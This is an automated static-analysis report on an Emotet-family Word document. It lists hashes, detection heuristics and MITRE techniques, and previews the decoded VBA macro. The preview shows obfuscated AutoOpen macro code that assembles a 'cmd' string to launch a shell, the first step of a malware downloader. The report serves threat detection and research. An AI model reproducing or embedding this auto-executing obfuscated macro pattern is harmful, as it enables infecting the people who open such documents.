Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4d3bdc7dcf866677…

MALICIOUS

Office (OLE)

189.5 KB Created: 2018-09-24 10:51:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 2444e884d6da44cb4269e48d1e6b56ca SHA-1: e00468976baa680fcaccdd1d0fa25b111148dcbb SHA-256: 4d3bdc7dcf866677cd23ef05dff2ca79d874f080b76801b1d7ee7637d9dd5c1e
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen function, which is a common technique for Emotet. The critical heuristic 'OLE_VBA_SHELL' indicates the use of the Shell() function, likely to download and execute a second-stage payload. The ClamAV detection also explicitly names Emotet.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6884107-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6884107-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 164601 bytes
SHA-256: 1fa00b12da04f09d4faac04ff176a1e2fe55f2089684d34d4c83f39866d57e7f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "XqUYqav"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim pSkLMY(1)
pSkLMY(0) = Left(vizZtUjDlj + TCjlblDfwwNPQFtuthAjcjuikz + fRuWmjzjbVRLwk, 690) + Left(hnwrpKcTVHE + ThdzSwVAJGKTYQozkGDKkEqGRCRc + YBjizRn, 777)
   Dim iNLFOm(2)
iNLFOm(0) = MidB(AFqDVwwYiO + EUNChbYMNsVwrNbdluQwwzzBaEwnsTWb + JYnNAKI, 684, 830) + MidB(vXuwTLjM + CjawHPEdfltbUNHhoOImtfhD + IqOmkGpNPs, 907, 70)
iNLFOm(1) = MidB(qWBvajMJ + jBtwjSaLOEXXGqNXumkIzvXdldGMwb + jMsjwSk, 788, 40) + Left(wvFNLRWr + swBJpohHrYDnDHiOpFCJjYijPv + jrEqPrWHdCh, 196)
   Dim dshWmL(2)
dshWmL(0) = Left(PHzwQXtvbqDrj + IvWjGiZJZWjrWUTFNmEclMoDqwk + wjYbPfZFpzBWtq, 36) + Right(WwUGTZET + RijNLjZjLzEawXYoCFmfiamVrcHU + KHbFkqnUHqa, 273) + Mid(VivkBNtzfw + YNiGDdlZQrwTMRXOvHPAIhXTukK + DzRZlAnwcsG, 583, 723) + MidB(owWljthiJNZ + KroFOUPGurlIIrOIWqizOZsi + IMMaHmlEA, 296, 332)
dshWmL(1) = MidB(uEkXalpPArC + ftajWlsnmiYnBFKIGFrtdBRzhCIVKFR + iUtfUmIZLkZPj, 102, 843) + Right(dYvzwiEnLkdJOh + NjoNaWdbURsizzQctLshpprI + QzDpBWYDXVG, 893)
   Dim rzNhD(1)
rzNhD(0) = MidB(qDmnSlHISMzw + zQknrhczOvtaMqCOqvwAAYkAUjUMTpPs + tLzIqpqtsZR, 501, 308) + Left(AUvwNIO + HQtjalwzBaUiqKLMijLjWGSUUtUTfF + awHTHcT, 478) + Left(bEilnAahvwM + cIQbEhGpZijPEPZjPViOpjFTtzJToiZ + qAPrjoBZ, 805) + MidB(vKHMiqSizu + wNMrQLAEqZEjiiuDdohYjpzkzMuhQO + iXwlNowiW, 116, 462)
   Dim HwAfb(2)
HwAfb(0) = Left(MifANEVcjDM + zowzmrEUEGVXwjvKRroXTRsbQpn + fBBTzCskuGI, 473) + MidB(RUGjZlUoWjh + tPoiQstrvhvwYHtQKobGJJOcH + VlWWzUGbrjR, 723, 421) + MidB(kSNNuFWA + RIiVCQlAQMKZlmnpSBrUwYvOuz + lBdhLbGpQflFZA, 206, 638) + MidB(GQDwdqLojwG + CrNZYHqbMjdkLAuzNOZIvmXnVXuJiOni + bmZwzuha, 272, 341)
HwAfb(1) = Right(tjjrcYLi + BTVDRZuWYhmiWobUwbUXKdLaqmPXf + kGcvcHfstrZLN, 141) + Left(DPGzPvF + GzEjJKGphrwYUUpfMSwSnkLHZvZpA + WHbIkjTVfQ, 393) + Right(vmHjiiaHHhQ + CjtIBhjDzMOXcqwTCThhnpGSrOOaKInd + WOmWbzZtLGs, 167) + MidB(iwSPpuGSuPooi + PpMfUwnKFPMuiADavNqXnrVDTX + OnpwRfdprqQH, 192, 510)
   Dim ouoFk(2)
ouoFk(0) = MidB(qYSZnztTIcSAZ + jvFOiEziNNKJZicCGwzGpqwWHfrZ + HLtAWZls, 806, 92) + MidB(qiuZzQucGJk + XkhqCWnCCNpbfjiuuNAUc + aifAzbEkwpD, 53, 754) + MidB(ZnWhkXkORA + uCXPFIWvIXBKlrjqHDuLMzuwIpQOAVlKi + wuQmQCmMvA, 632, 80) + Left(wjdZOKSK + GrJAozaIFIJiZFkzvbltEDoIkTR + iBjYtlYvaYwGB, 763)
ouoFk(1) = Right(TikhLQn + EwzrpooJVbcthrMDVCmmDPQpjZbRO + ooYDljKwfM, 506) + Right(nvVHukiMBjNn + HktJNiICznAkTbXDLtiCkEdcNnHLQMjD + DMcikwhHKRGV, 573) + MidB(uuzWjZl + uPrbjXjimzzRzXMMMVrJiKWSmj + RcVjVEFX, 751, 655) + MidB(riBcufiJMZYlD + RNFwszZiXQwkRpZimAJtXHzXzs + jPqoJhlqtRwd, 635, 582)
   Dim MXaUFc(2)
MXaUFc(0) = Mid(ocCSbDsvr + aizWHrbKkzdRTBkMLmzApuuSm + niRCDzN, 22, 376) + Mid(RaRmzkzZTEa + ichJcMYpZjLLOPBWnhUXjDuKTMRzM + UbSEYHEostFOo, 411, 681)
MXaUFc(1) = MidB(RZvvNFwGhBFcIj + WuojSOtfscioGpkpUEtGWTzqFzMjN + SauniCjPClbUR, 526, 246) + Left(ozMTcnSQUXof + QYwoOpBpfGorVzjPsiZvPpncXJfskVs + TnwflwRGflSXRo, 154)
UzuJKOcictSw (KeyString(vbKeyC) + KeyString(vbKeyM) + YbhYDK + DJmDILfi + auluaFGYKz + wGYSV + XAuwDoNHUhoua + TLjhtdfrswFzE)
   Dim tZzfc(2)
tZzfc(0) = Right(lcacjpAz + rGKVuBEOrBCwoJnPuvzwJZ + RwqqvAm, 148) + Right(qzXuRliIjd + EhMhBYuHAmunRARGBLHRorzdMPBqi + sJiNzONqUvMcHA, 700)
tZzfc(1) = Right(hREGwPY + uhswFIaYrnsCwTVbOsdbwAIMP + tGXwTfzWpECTbs, 567) + MidB(TkkKtwbIRGu + vKwdwhVEioYQjXZCiUriHlzJwpCZCXtI + wuwnaowMtN, 475, 294)
   Dim XZGSC(1)
XZGSC(0) = Mid(rwXZObPVsnPUC + YEDEivrmljFnCRbFLiGwLNhrBaJuh + BCPwztzLmsJo, 248, 849) + Right(JITzrApr + DqMbmXcbOLHNolWCYUwaOzmON + NXHzpJz, 208)
End Sub


Attribute VB_Name = "LtQMzCviqGOT"
Function YbhYDK()
Dim qvQZr(1)
qvQZr(0) = MidB(idnVGtaKb + UbjisMTnRBWGcztWECKjcojrRGcv + irhFDUKwVzLIW, 654, 859) + Right(DFhrjKsHpJVBjp + SbkSoTjjfhLXURwKGYpvhowNLpwoJEIEG + LkWzLCwVmYHWq, 501) + Left(JVfDdqFXt + CTLMuqWvnTsltTLpETFOzjaELUiwDcJwC + MfUidzQj, 740) + MidB(fQTadiKf + TlKaJUoIkmRdrokjNqolApNfdwilWOj
... (truncated)

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